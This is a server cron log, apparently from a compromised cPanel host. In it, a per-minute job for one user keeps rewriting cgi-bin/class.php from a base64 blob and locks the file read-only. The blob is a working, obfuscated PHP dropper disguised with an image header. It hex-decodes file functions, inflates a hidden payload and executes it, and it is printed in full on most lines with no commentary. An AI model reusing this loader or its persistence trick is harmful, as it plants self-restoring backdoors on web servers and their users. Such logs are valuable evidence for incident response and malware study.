Nov 14 06:19:01 server CROND[11453]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:20:01 server CROND[12315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:20:01 server CROND[12317]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 06:20:01 server CROND[12320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 06:20:01 server CROND[12318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:20:01 server CROND[12321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:21:01 server CROND[13234]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:22:01 server CROND[13687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:23:01 server CROND[14720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:24:01 server CROND[15628]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:25:01 server CROND[16493]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:25:01 server CROND[16494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:25:01 server CROND[16496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:25:01 server CROND[16495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:26:01 server CROND[17381]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:27:01 server CROND[18216]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 06:27:01 server CROND[18217]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:28:01 server CROND[19059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:29:01 server CROND[19914]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:30:01 server CROND[20587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:30:01 server CROND[20589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 06:30:01 server CROND[20591]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:30:01 server CROND[20590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:31:01 server CROND[21513]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
